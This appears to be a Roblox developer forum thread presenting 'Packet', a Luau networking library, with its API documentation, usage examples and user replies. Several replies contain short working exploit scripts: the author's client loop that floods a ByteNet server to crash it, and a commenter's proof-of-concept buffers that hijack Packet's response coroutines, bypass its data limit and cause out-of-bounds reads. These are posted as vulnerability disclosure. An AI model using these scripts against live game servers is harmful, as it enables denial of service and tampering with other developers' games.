Packet - Networking library

Packet - Networking library

Download | Video Tutorial | Discord Server

Features

Batching                   "Batches all your events into a single event"
Serialize                  "Serializes all data into one buffer"
Many types                 "16 bit floats + 24 bit floats + many more"
DDoS protection            "Stops exploiters from crashing the server"
Remote Functions           "Safely request a response from the client or server"
Unreliable                 "UnreliableRemoteEvent support"
Easy To Use                "Simple and elegant"

Support My Work

If you liked my work and want to donate to me you can do so here


SourceCode

You can get the sourcecode to this module here

Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted.


Documentation

CONSTRUCTOR

Constructor(name: string, parameters: ...)
"Returns previously created packet else a new packet"

PROPERTIES

ResponseTimeout number 10
"Seconds until a response will timeout"
ResponseTimeoutValue any nil
"Value passed back if a response times out"
OnServerInvoke function nil
"Function called when packet is invoked from the client"
OnClientInvoke function nil
"Function called when packet is invoked from the server"

EVENTS

OnServerEvent(player: Player, parameters: ...)  Signal
"Fires when the client fires a packet"
OnClientEvent(parameters: ...)  Signal
"Fires when the server fires a packet"

METHODS

Response(parameters: ...) Packet
"Converts a RemoteEvent packet to a RemoteFunction packet"
Fire(parameters: ...) any
"Fires a packet to all clients or to the server, if Response() was called will also return a response"
FireClient(player: Player, parameters: ...)  any
"Fires a packet to a client, if Response() was called will also return a response"
Serialize(parameters: ...)  buffer {Instance}?
"Serializes parameters into a buffer and maybe a array of instances"
Deserialize(buffer {Instance}?)  ...any
"Deserializes a buffer and maybe instances into parameters"
Destroy()
"Destroys the packet [you should never need to do this]"

Examples

Simple Example

-- Server
local Packet = require(game.ReplicatedStorage.Packet)

local packet = Packet("PacketName", Packet.NumberS8, Packet.Vector3F32, Packet.Instance)

local player = game.Players.PlayerAdded:Wait()

packet:FireClient(player, -12, Vector3.zero, workspace.SpawnLocation)
-- Client
local Packet = require(game.ReplicatedStorage.Packet)

local packet = Packet("PacketName", Packet.NumberS8, Packet.Vector3F32, Packet.Instance)

packet.OnClientEvent:Connect(function(...)
    print(...)
end)

Optional Example

local packet1 = Packet("OptionalString", Packet.Any :: string?)
local packet2 = Packet("OptionalNumber", Packet.Any :: number?)

Array Example

local packet = Packet("Array", {Packet.NumberU8})
packet:Fire({1, 6, 11, 3})

Dictionary Example

local packet = Packet("Dictionary", {Key = Packet.NumberF32, AnotherKey = Packet.String})
packet:Fire({Key = 22, AnotherKey = "Hello"})

Response Example

-- Server
local Packet = require(game.ReplicatedStorage.Packet)

local packet = Packet("PacketName", Packet.NumberF16, Packet.String):Response(Packet.Boolean8)

packet.OnServerInvoke = function(player, number, string)
    print("OnServerInvoke", player, number, string) -- 2.2, "Text"
    return true
end
-- Client
local Packet = require(game.ReplicatedStorage.Packet)

local packet = Packet("PacketName", Packet.NumberF16, Packet.String):Response(Packet.Boolean8)

local response = packet:Fire(2.2, "Text")

print("Server Response:",  response) -- true

UnreliableRemoteEvent Wrapper

--!strict
local RunService = game:GetService("RunService")
local Packet = require(game.ReplicatedStorage.Packet)

local unreliablePackets = {
	Packet1 = Packet("Packet1", Packet.NumberU8),
	Packet2 = Packet("Packet2", Packet.String),
}

for index, packet in unreliablePackets do
	local packet = packet :: Packet.Packet
	
	if RunService:IsServer() then
		local unreliableRemoteEvent = Instance.new("UnreliableRemoteEvent")
		unreliableRemoteEvent.Name = packet.Name
		unreliableRemoteEvent.Parent = game.ReplicatedStorage
		unreliableRemoteEvent.OnServerEvent:Connect(function(player, ...)
			packet.OnServerEvent:Fire(player, packet:Deserialize(...))
		end)
		
		packet.Fire = function(packet, ...)
			unreliableRemoteEvent:FireAllClients(packet:Serialize(...))
		end
		
		packet.FireClient = function(packet, player, ...)
			unreliableRemoteEvent:FireClient(player, packet:Serialize(...))
		end
	else
		local unreliableRemoteEvent = game.ReplicatedStorage:WaitForChild(packet.Name)
		unreliableRemoteEvent.OnClientEvent:Connect(function(...)
			packet.OnClientEvent:Fire(packet:Deserialize(...))
		end)
		
		packet.Fire = function(packet, ...)
			unreliableRemoteEvent:FireServer(packet:Serialize(...))
		end
	end
end

return unreliablePackets

Updates

1.1
Fixed vulnerability that allows client to resume a thread if that thread is yielded after a fire()

1.2
No longer possible for the client to make the server print error messages in live games


Other Projects

Infinite Terrain
Packet
Suphi’s DataStore Module
Global Framework
Infinite Scripter
Mesh Editor
Toggle Block Comment
Toggle Decomposition Geometry
Tag Explorer
Suphi’s Linked List Module
Suphi’s Hybrid Linked List Module
Suphi’s RemoteFunction Module
Robux Converter

71 Likes

Another amazing resource from Suphi!

I’m going to be using this for all of my works, because it’s nothing alike the other alternatives. It’s way simpler, more optimized, and has way more data types!

It was fun following the development of this when it was in beta for a short period.

Thanks for this, Suphi.

1 Like

do you have any benchmarks so i can see overall performance?

1 Like

CFrame: Packet 12, 15 or 18 bytes | Roblox 20 bytes | ByteNet 24 bytes
Instances: Packet 5 bytes | Roblox 5 bytes | ByteNet 6 bytes
Vector3: Packet 6, 9 or 12 bytes | ByteNet 12 bytes
Vector2: Packet 4, 6 or 8 bytes | ByteNet 8 bytes
Strings: Packet 1, 2, 3, 4, 5, 6, 7 or 8 bits per character | ByteNet 8 bits per character
Booleans: Packet 1 or 8 bits | ByteNet 8 bits
Float 16: Packet 2 bytes | ByteNet not supported
Float 24: Packet 3 bytes | ByteNet not supported

Packet has many other types for example Color3, UDim2, BrickColor, EnumItem, Etc... and is very easy to make custom types to specialize how you replicate data so its somewhat hard to compare


But one of the most important things is DDoS protection I’m not aware of any networking library that has DDoS protection so its very easy for a exploiter to crash the server

here is a example of how to crash a server using ByteNet

-- server
local ByteNet = require(game.ReplicatedStorage.ByteNet)

ByteNet.defineNamespace("messaging", function()
	return {
		printSomething = ByteNet.definePacket({value = ByteNet.nothing})
	}
end)
--client
game:GetService('RunService').Heartbeat:Connect(function()
	local buf = buffer.create(9999999)
	buffer.fill(buf, 0, 1)
	for index = 1, 100 do
		game.ReplicatedStorage.ByteNetReliable:FireServer(buf)
	end
end)
7 Likes

Downloading inmediately for my games, I love how it has support for stuff like float 16, reminds me of how I had to do netcode on Chickynoid.

2 Likes

Why should I use this over Zap/Blink? :thinking:

Is this just automatic validation on the context that received the event?

I have never used Zap or Blink but all I can say is give Packet a spin its very easy to use you never know you might like it

The way DDoS protection works is the server will ignore events from a client if they exceed the data limit per server heartbeat

2 Likes

thank you for making this so simple to use :sob: :pray:

Your very welcome I’m happy you found it easy to use that was one of my main goals when making it

4 Likes

For the past week I’ve been looking at different networking modules and then you release this absolute gem! Offering protection from DDos attacks is a big selling point. At this point my entire game is going to be made by you, Suphis datastore and networking module lol. I’m a big fan of your work, thank you for putting the in the time that you did to make this!

What if the data that should be sent is missing, will it just be nil then?

What if I’m sending a dictionary where the value could be x or could be nil? ByteNet has .optional, not sure how it’d work with this. Anyways great module

If you use the Any type then its ok to send nil but if your not using Any then it must be the type you define

1 Like

Optional would use a extra byte of data just like using Any so with Packet you can just use Any instead of Optional

this is how you can make a Optional string that also works with type checking

local packet = Packet("Name", Packet.Any :: string?)

For strings Roblox sends 2 less bytes than Packet

However, knowing from your video that the Packet makes multiple calls into one, it sends less if there is a couple calls in one frame (I guess frame because I don’t know how it works else)

But I wonder why Roblox sends 2 less for strings

Hey, just a heads-up about some major issues in Packet. Right now, a client can force the server to resume any coroutine waiting on a response, which can break things like WaitForChild, HttpService:GetAsync, and database calls by making them return nil or incorrect values. Here’s an example of how it can be exploited:
Exploit Code
Server

local Packet = require(game.ReplicatedStorage.Packet)
local NewPacket = Packet("CVE001"):Response(Packet.Boolean8)

game.Players.PlayerAdded:Connect(function(Player)
	task.spawn(function()
		local Thread = coroutine.running()
		local Start = os.clock()
		NewPacket:FireClient(Player)
		task.delay(10, function()
			task.spawn(Thread, os.clock() - Start)
		end)
		local Delta = coroutine.yield()
		if not Delta then
			warn("Uh oh, this is odd, no number? but I put it just there")
		end
		print(`finished, took: {os.clock() - Start}s`)
	end)
end)

Client (Injecting Invalid Responses)

local Remote = game:GetService("ReplicatedStorage"):WaitForChild("Packet"):WaitForChild("RemoteEvent")

local Injection = buffer.create(3)
buffer.writeu8(Injection, 0, 0)
buffer.writebits(Injection, 8, 1, 1)
buffer.writebits(Injection, 9, 7, 0)
buffer.writeu8(Injection, 2, 0)

Remote:FireServer(Injection, {})
task.wait(0.5)
Remote:FireServer(Injection, {})

This makes the server resume the coroutine early with whatever values the client sends, breaking logic that depends on proper responses. It also works for HttpService:GetAsync and datastore calls:

local Packet = require(game.ReplicatedStorage.Packet)
local NewPacket = Packet("CVE001"):Response(Packet.Boolean8)

game.Players.PlayerAdded:Connect(function(Player)
    task.spawn(function()
        local Start = os.clock()
        NewPacket:FireClient(Player)
        local Response = game.HttpService:GetAsync("https://archive.org/")
        if not Response then
            warn("Uh oh, this is odd")
        end
        print(`finished, took: {os.clock() - Start}s`)
    end)
end)

If the client sends a fake response, GetAsync can return nil instead of an actual response, leading to unexpected behavior.

Buffer Overflow
You also have a buffer overflow issue in this part of the code:

remoteEvent.OnServerEvent:Connect(function(player: Player, receivedBuffer: buffer, instances: {Instance}?)
	local bytes = (playerBytes[player] or 0) + buffer.len(receivedBuffer)
	if bytes > 8_000 then if playerError[player] then return else playerError[player] = true error(`{player.Name} is exceeding the data limit; some events may be dropped`) end end

It checks if bytes > 8000, but you can bypass this by just not sending a buffer:

game.ReplicatedStorage.Packet.RemoteEvent:FireServer(string.rep(" ", 1e3))

Or just send a massive buffer directly to cause a crash:

game.ReplicatedStorage.Packet.RemoteEvent:FireServer(buffer.create(7999))

This lets an attacker flood the server and bypass the rate limit.

1 Like

But the Packet is still safe to use if you’re not going to get responses from players?
(I guess not since I read the last part)

I’d wait for a official patch of course you can edit Packet to fix these yourself

1 Like

The way you allow for typed autocomplete is absolutely ingenious, incredible, and all of the above! I am at a loss for words. This is some otherworldly wizardry I’ve never seen before. Never in my life have I ever thought about the possibility of using a typecasted table to define variadic types. This is millions of years of brain evolution!

In the case of having type unions, I’m not very fond of the fact we’re stuck using “Any”. I’m okay with the optimization losses of “Any”, however, there is no typechecking if we use it. A possibility of a “Mix” constructor would be nice:

Packet("MixTest", Packet.Mix<string | number>)

This could simply be an extension of the “Any” type, as this following code will allow the types to be visible again:

Packet("Congruent", Packet.Any:: string | number)

The former just seems like a more elegant solution.

2 Likes

Another issue happens when a packet is only half valid. Until the data is fully converted or read, it attempts to access memory outside the buffer. For example:

local Remote = game:GetService("ReplicatedStorage"):WaitForChild("Packet"):WaitForChild("RemoteEvent")

local Injection = buffer.create(2)
buffer.writeu8(Injection, 0, 0)
buffer.writebits(Injection, 8, 1, 1)
buffer.writebits(Injection, 9, 7, 0)

Remote:FireServer(Injection, {})

This could also happen with non response buffers.